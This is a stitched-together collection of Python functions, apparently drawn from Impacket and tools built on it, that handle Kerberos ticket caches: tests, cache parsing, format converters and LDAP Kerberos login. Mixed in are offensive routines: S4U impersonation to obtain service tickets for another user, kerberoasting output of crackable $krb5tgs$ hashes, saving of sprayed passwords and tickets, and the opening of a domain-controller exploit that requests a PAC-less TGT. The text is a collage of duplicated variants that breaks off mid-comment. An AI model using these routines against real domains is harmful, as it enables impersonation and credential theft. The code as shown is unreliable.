def test_ccache_parseFile(self): if not PY2: with mock.patch.dict(os.environ, {"KRB5CCNAME": self.cache_v4_file}): domain, username, TGT, TGS = CCache.parseFile("") self.assertEqual(domain, self.domain) self.assertEqual(username, self.username) self.assertIsNone(TGS) self.assertIsNotNone(TGT) domain, username, TGT, TGS = CCache.parseFile( "unexistent_domain") self.assertIsNone(TGS) self.assertIsNone(TGT) domain, username, TGT, TGS = CCache.parseFile(self.domain) self.assertEqual(domain, self.domain) self.assertEqual(username, self.username) self.assertIsNone(TGS) self.assertIsNotNone(TGT) domain, username, TGT, TGS = CCache.parseFile( self.domain, self.username) self.assertEqual(domain, self.domain) self.assertEqual(username, self.username) self.assertIsNone(TGS) self.assertIsNotNone(TGT)
def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__user + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGT(ticket, sessionKey, sessionKey) ccache.saveFile(self.__user + '.ccache')
def test_ccache_fromKirbi(self): with self.assertRaises(FileNotFoundError): CCache.loadKirbiFile("NON_EXISTENT") for kirbi_file in [self.cache_v3_kirbi_file, self.cache_v4_kirbi_file]: ccache = CCache.loadKirbiFile(kirbi_file) self.assert_ccache(ccache)
def split_cache(ccache, prefix='cc_split_'): ''' Splits the specified ccache into a seperate cache for each credential. Paramaters: ccache (CCache) CCache to split prefix (string) Prefix name for splits Returns: names (list[string]) Split names ''' count = 0 names = [] for credential in ccache.credentials: count += 1 name = prefix + str(count) new_cc = CCache(data=ccache.getData()) new_cc.credentials = [credential] new_cc.saveFile(name) names.append(name) return names
def convert_kirbi_to_ccache(input_filename, output_filename): with open(input_filename, 'rb') as fi: krb_cred = decoder.decode(fi.read(), asn1Spec=KRB_CRED())[0] enc_krb_cred_part = decoder.decode(krb_cred['enc-part']['cipher'], asn1Spec=EncKrbCredPart())[0] ccache = CCache() ccache.headers = [] header = Header() header['tag'] = 1 header['taglen'] = 8 header['tagdata'] = '\xff\xff\xff\xff\x00\x00\x00\x00' ccache.headers.append(header) krb_cred_info = enc_krb_cred_part['ticket-info'][0] tmpPrincipal = types.Principal() tmpPrincipal.from_asn1(krb_cred_info, 'prealm', 'pname') ccache.principal = Principal() ccache.principal.fromPrincipal(tmpPrincipal) credential = Credential() server = types.Principal() server.from_asn1(krb_cred_info, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) credential['client'] = ccache.principal credential['server'] = tmpServer credential['is_skey'] = 0 credential['key'] = KeyBlock() credential['key']['keytype'] = int(krb_cred_info['key']['keytype']) credential['key']['keyvalue'] = str(krb_cred_info['key']['keyvalue']) credential['key']['keylen'] = len(credential['key']['keyvalue']) credential['time'] = Times() # credential['time']['authtime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['authtime'])) credential['time']['starttime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['starttime'])) credential['time']['endtime'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['endtime'])) credential['time']['renew_till'] = ccache.toTimeStamp(types.KerberosTime.from_asn1(krb_cred_info['renew-till'])) flags = ccache.reverseFlags(krb_cred_info['flags']) credential['tktflags'] = flags credential['num_address'] = 0 credential.ticket = CountedOctetString() credential.ticket['data'] = encoder.encode(krb_cred['tickets'][0].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() credential.secondTicket['data'] = '' credential.secondTicket['length'] = 0 ccache.credentials.append(credential) ccache.saveFile(output_filename)
def test_ccache_loadFile(self): with self.assertRaises(FileNotFoundError): CCache.loadFile("NON_EXISTENT") for cache_file in [self.cache_v1_file, self.cache_v2_file]: with self.assertRaises(NotImplementedError): CCache.loadFile(cache_file) for cache_file in [self.cache_v3_file, self.cache_v4_file]: ccache = CCache.loadFile(cache_file) self.assert_ccache(ccache)
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() else: TGS = creds.toTGS()
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: pass else: domain = self.__domain principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() module.log('Using TGT from cache', level='debug') return TGT else: module.log('No valid credentials found in cache', level='debug') # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(password), compute_nthash(password), self.__aesKey, kdcHost=self.__kdcHost) except Exception, e: module.log('Exception for getKerberosTGT', level='error') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost)
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: # retrieve user and domain information from CCache file if needed if username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS()
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if self.__domain == '': domain = ccache.principal.realm['data'] else: domain = self.__domain logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') return TGT else: logging.debug("No valid credentials found in cache. ") # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
def getKerberosType1( username, password, domain, lmhash, nthash, aesKey="", TGT=None, TGS=None, targetName="", kdcHost=None, useCache=True, ): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv("KRB5CCNAME")) except Exception, e: # No cache present pass else: LOG.debug("Using Kerberos Cache: %s" % os.getenv("KRB5CCNAME")) principal = "host/%s@%s" % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug("Using TGT from cache") else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS()
def run(self): # Do we have a TGT cached? tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) if creds is not None: # ToDo: Check this TGT belogns to the right principal TGT = creds.toTGT() tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] oldSessionKey = sessionKey logging.info('Using TGT from cache') else: logging.debug("No valid credentials found in cache. ") except: # No cache present pass if tgt is None: # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) # Editing below to pass hashes for decryption if self.__additional_ticket is not None: tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, self.__additional_ticket) else: tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs, oldSessionKey)
def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() if self.__server == self.__domain: ccache.fromTGT(ticket, sessionKey, sessionKey) else: ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__target.replace('/','.') + '.ccache')
def test_ccache_parseFile_no_cache(self): if not PY2: with mock.patch.dict(os.environ, {}, clear=True): domain, username, TGT, TGS = CCache.parseFile( self.domain, self.username) self.assertEqual(domain, self.domain) self.assertEqual(username, self.username) self.assertIsNone(TGT) self.assertIsNone(TGS)
def run(self): # Do we have a TGT cached? tgt = None try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (self.__domain.upper(), self.__domain.upper()) creds = ccache.getCredential(principal) if creds is not None: # ToDo: Check this TGT belogns to the right principal TGT = creds.toTGT() tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] oldSessionKey = sessionKey logging.info('Using TGT from cache') else: logging.debug("No valid credentials found in cache. ") except: # No cache present pass if tgt is None: # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) logging.info('Getting TGT for user') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, self.__kdcHost) # Ok, we have valid TGT, let's try to get a service ticket if self.__options.impersonate is None: # Normal TGS interaction logging.info('Getting ST for user') serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) self.__saveFileName = self.__user else: # Here's the rock'n'roll try: logging.info('Impersonating %s' % self.__options.impersonate) tgs, copher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, self.__kdcHost) except Exception as e: logging.debug("Exception", exc_info=True) logging.error(str(e)) if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) if str(e).find('KDC_ERR_BADOPTION') >= 0: logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) return self.__saveFileName = self.__options.impersonate self.saveTicket(tgs,oldSessionKey)
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if self.__domain == '': domain = ccache.principal.realm['data'] else: domain = self.__domain logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() logging.debug('Using TGT from cache') return TGT else: logging.debug("No valid credentials found in cache. ") # No TGT in cache, request it userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.__domain, compute_lmhash(self.__password), compute_nthash(self.__password), self.__aesKey, kdcHost=self.__kdcHost) except Exception as e: logging.debug('TGT: %s' % str(e)) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
def _report_good_password(self, user, password, tgt, user_key): with self.report_lock: if user not in self.good_users: self.good_users[user] = True if user in self.good_credentials: return self.good_credentials[user] = password logging.info('Stupendous => %s:%s' % (user, password)) if self.out_creds_file: self.out_creds_file.write("%s:%s\n" % (user, password)) self.out_creds_file.flush() if self.out_users_file: self.out_users_file.write("%s\n" % user) self.out_users_file.flush() if self.save_ticket: ccache = CCache() ccache.fromTGT(tgt, user_key, user_key) ccache_file = user + '.ccache' ccache.saveFile(ccache_file) logging.info('Saved TGT in %s' % ccache_file)
def saveTicket(self, ticket, sessionKey): logging.info('Saving ticket in %s' % (self.__saveFileName + '.ccache')) ccache = CCache() ccache.fromTGS(ticket, sessionKey, sessionKey) ccache.saveFile(self.__saveFileName + '.ccache') config.set_ccache(self.__saveFileName + '.ccache')
def saveTicket(self, tgt, sessionKey): logging.info('Saving ticket in %s' % (self.__target.replace('/', '.') + '.ccache')) from impacket.krb5.ccache import CCache ccache = CCache() ccache.fromTGT(tgt, sessionKey, sessionKey) ccache.saveFile(self.__target.replace('/', '.') + '.ccache')
def getTGT(self): domain, _, TGT, _ = CCache.parseFile(self.__domain) if TGT is not None: return TGT # No TGT in cache, request it userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. if self.__password != '' and (self.__lmhash == '' and self.__nthash == ''): try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, '', self.__domain, compute_lmhash(self.__password), compute_nthash(self.__password), self.__aesKey, kdcHost=self.__kdcHost) except Exception as e: logging.debug('TGT: %s' % str(e)) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, bytes.fromhex(self.__lmhash), bytes.fromhex(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) else: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, bytes.fromhex(self.__lmhash), bytes.fromhex(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
def getTGT(self): try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: pass else: domain = self.__domain principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() module.log('Using TGT from cache', level='debug') return TGT else: module.log('No valid credentials found in cache', level='debug') # No TGT in cache, request it userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) # In order to maximize the probability of getting session tickets with RC4 etype, we will convert the # password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the # cleartext password. # If no clear text password is provided, we just go with the defaults. try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, '', self.__domain, compute_lmhash(password), compute_nthash(password), self.__aesKey, kdcHost=self.__kdcHost) except Exception as e: module.log('Exception for getKerberosTGT', level='error') tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash), self.__aesKey, kdcHost=self.__kdcHost) TGT = {} TGT['KDC_REP'] = tgt TGT['cipher'] = cipher TGT['sessionKey'] = sessionKey return TGT
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) if fd is None: print entry else: fd.write(entry+'\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % ( decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey ) ccache.saveFile('%s.ccache' % username) except Exception, e: logging.error(str(e))
def convert_ccache_to_kirbi(input_filename, output_filename): ccache = CCache.loadFile(input_filename) principal = ccache.principal credential = ccache.credentials[0] krb_cred_info = KrbCredInfo() krb_cred_info['key'] = noValue krb_cred_info['key']['keytype'] = credential['key']['keytype'] krb_cred_info['key']['keyvalue'] = credential['key']['keyvalue'] krb_cred_info['prealm'] = principal.realm.fields['data'] krb_cred_info['pname'] = noValue krb_cred_info['pname']['name-type'] = principal.header['name_type'] seq_set_iter(krb_cred_info['pname'], 'name-string', (principal.components[0].fields['data'],)) krb_cred_info['flags'] = credential['tktflags'] # krb_cred_info['authtime'] = KerberosTime.to_asn1(datetime.datetime.fromtimestamp(credential['time']['authtime'])) krb_cred_info['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcfromtimestamp(credential['time']['starttime'])) krb_cred_info['endtime'] = KerberosTime.to_asn1(datetime.datetime.utcfromtimestamp(credential['time']['endtime'])) krb_cred_info['renew-till'] = KerberosTime.to_asn1(datetime.datetime.utcfromtimestamp(credential['time']['renew_till'])) krb_cred_info['srealm'] = credential['server'].realm.fields['data'] krb_cred_info['sname'] = noValue krb_cred_info['sname']['name-type'] = credential['server'].header['name_type'] seq_set_iter(krb_cred_info['sname'], 'name-string', (credential['server'].components[0].fields['data'], credential['server'].realm.fields['data'])) enc_krb_cred_part = EncKrbCredPart() seq_set_iter(enc_krb_cred_part, 'ticket-info', (krb_cred_info,)) encoder.encode(krb_cred_info) krb_cred = KRB_CRED() krb_cred['pvno'] = 5 krb_cred['msg-type'] = 22 krb_cred['enc-part'] = noValue krb_cred['enc-part']['etype'] = 0 krb_cred['enc-part']['cipher'] = encoder.encode(enc_krb_cred_part) ticket = decoder.decode(credential.ticket['data'], asn1Spec=Ticket())[0] seq_set_iter(krb_cred, 'tickets', (ticket,)) with open(output_filename, 'wb') as fo: fo.write(encoder.encode(krb_cred))
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT=None, TGS=None, targetName='', kdcHost=None, useCache=True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'] LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split('@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username)
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception, e: # No cache present pass else: principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() else: TGS = creds.toTGS()
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None): decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0] # According to RFC4757 the cipher part is like: # struct EDATA { # struct HEADER { # OCTET Checksum[16]; # OCTET Confounder[8]; # } Header; # OCTET Data[0]; # } edata; # # In short, we're interested in splitting the checksum and the rest of the encrypted data # if decodedTGS['ticket']['enc-part'][ 'etype'] == constants.EncryptionTypes.rc4_hmac.value: entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % ( constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][:16])), hexlify(str(decodedTGS['ticket']['enc-part']['cipher'][16:]))) if fd is None: print entry else: fd.write(entry + '\n') else: logging.error('Skipping %s/%s due to incompatible e-type %d' % (decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1], decodedTGS['ticket']['enc-part']['etype'])) if self.__saveTGS is True: # Save the ticket logging.debug('About to save TGS for %s' % username) ccache = CCache() try: ccache.fromTGS(tgs, oldSessionKey, sessionKey) ccache.saveFile('%s.ccache' % username) except Exception, e: logging.error(str(e))
def open_ticket_cache(path): ''' Attempts to open {path} as a Kerberos5 Ticket Cache. If this is not possible (file not exists, no permissions, format is no Kerberos Ticket Cache), the functions throws a KutilException with the corresponding error message. Parameters: path (string) Path to the cache file Returns: None ''' try: ccache = CCache.loadFile(path) return ccache except FileNotFoundError: error = f"Kerberos ticket cache '{path}' does not exist." except PermissionError: error = f"Insufficient permissions to open '{path}'" except struct.error: error = f"Unable to parse '{path}' as Kerberos ticket cache" raise KutilException(error)
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None, TGS=None, useCache=True): """ logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. :param string user: username :param string password: password for the user :param string domain: domain where the account is valid for (required) :param string lmhash: LMHASH used to authenticate using hashes (password is not used) :param string nthash: NTHASH used to authenticate using hashes (password is not used) :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) :param struct TGT: If there's a TGT available, send the structure here and it will be used :param struct TGS: same for TGS. See smb3.py for the format :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False :return: True, raises a LDAPSessionError if error. """ if lmhash != '' or nthash != '': if len(lmhash) % 2: lmhash = '0%s' % lmhash if len(nthash) % 2: nthash = '0%s' % nthash try: # just in case they were converted already lmhash = unhexlify(lmhash) nthash = unhexlify(nthash) except: pass # Importing down here so pyasn1 is not required if kerberos is not used. from impacket.krb5.ccache import CCache from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS from impacket.krb5 import constants from impacket.krb5.types import Principal, KerberosTime, Ticket from pyasn1.codec.der import decoder, encoder import datetime if TGT is not None or TGS is not None: useCache = False if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except: # No cache present pass else: # retrieve user and domain information from CCache file if needed if user == '' and len(ccache.principal.components) > 0: user = ccache.principal.components[0]['data'] if domain == '': domain = ccache.principal.realm['data'] LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS() LOG.debug('Using TGS from cache') # First of all, we need to get a TGT for the user userName = Principal( user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) if TGT is None: if TGS is None: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, password, domain, lmhash, nthash, aesKey, kdcHost) else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] if TGS is None: serverName = Principal( 'ldap/%s' % self._dstHost, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, domain, kdcHost, tgt, cipher, sessionKey) else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = None apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # Done with the Kerberos saga, now let's get into LDAP bindRequest = BindRequest() bindRequest['version'] = Integer7Bit(3) bindRequest['name'] = LDAPDN(user) credentials = SaslCredentials() credentials['mechanism'] = LDAPString('GSS-SPNEGO') credentials['credentials'] = Credentials(blob.getData()) bindRequest['authentication'] = AuthenticationChoice( ).setComponentByName('sasl', credentials) resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp'] if resp['bindResponse']['resultCode'] != 0: raise LDAPSessionError( errorString='Error in bindRequest -> %s:%s' % (resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage'])) return True
def exploit(self): if self.__kdcHost is None: getDCs = True self.__kdcHost = self.__domain else: getDCs = False self.__domainSid, self.__rid = self.getUserSID() try: self.__forestSid = self.getForestSid() except Exception as e: # For some reason we couldn't get the forest data. No problem, we can still continue # Only drawback is we won't get forest admin if successful logging.error('Couldn\'t get forest info (%s), continuing' % str(e)) self.__forestSid = None if getDCs is False: # User specified a DC already, no need to get the list self.__domainControllers.append(self.__kdcHost) else: self.__domainControllers = self.getDomainControllers() userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) for dc in self.__domainControllers: logging.info('Attacking domain controller %s' % dc) self.__kdcHost = dc exception = None while True: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash, self.__nthash, None, self.__kdcHost, requestPAC=False) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES (most probably # Windows XP). So, if that's the case we'll force using RC4 by converting # the 